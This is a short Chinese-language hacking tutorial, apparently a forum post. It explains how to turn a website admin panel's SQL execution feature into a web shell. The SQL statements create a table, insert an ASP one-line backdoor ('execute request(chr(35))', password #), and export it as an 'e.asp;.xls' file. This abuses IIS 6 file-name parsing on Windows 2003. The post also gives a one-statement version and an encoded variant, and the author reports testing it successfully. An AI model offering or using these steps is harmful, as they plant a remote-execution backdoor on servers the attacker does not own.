在有的网站后台有一个执行sql的功能，然后可以得到了网站的物理路径。哈哈 那么这个就可以利用啦。。。。

需要执行如下操作：

（1）

create table a (b varchar(50))

建立一个有一个b字段的表，表名为a,字段类型为字符,长度为50

（2）

insert into a (b) values('<%execute request(chr(35))%>')

在表a的b字段插入密码为#的一句话木马

（3）

select * into [b] in 'd:\......\e.asp;.xls' 'excel 8.0;' from a

把表a的内容导出为e.asp;xlsdrop
其实上述3个语句用一句就可以实现：

SELECT '<%execute request(chr(35))%>' into [user] in 'd:\......\e.asp;.xls' 'excel 8.0;' from [user]

整个过程。。。。

create table a (a varchar(50))
insert into a (a) values ('┼攠數畣整爠煥敵瑳∨≡┩愾')
select * into [b] in 'd:\......\e.asp;.xls' 'excel 4.0;' from a

我对上面的方法在本地都测试了下，是可以实现的，并且可以用一句话客户端链接并执行（IIS+win2003）。

当然由于服务器权限的限制，实际操作时也有不成功的可能。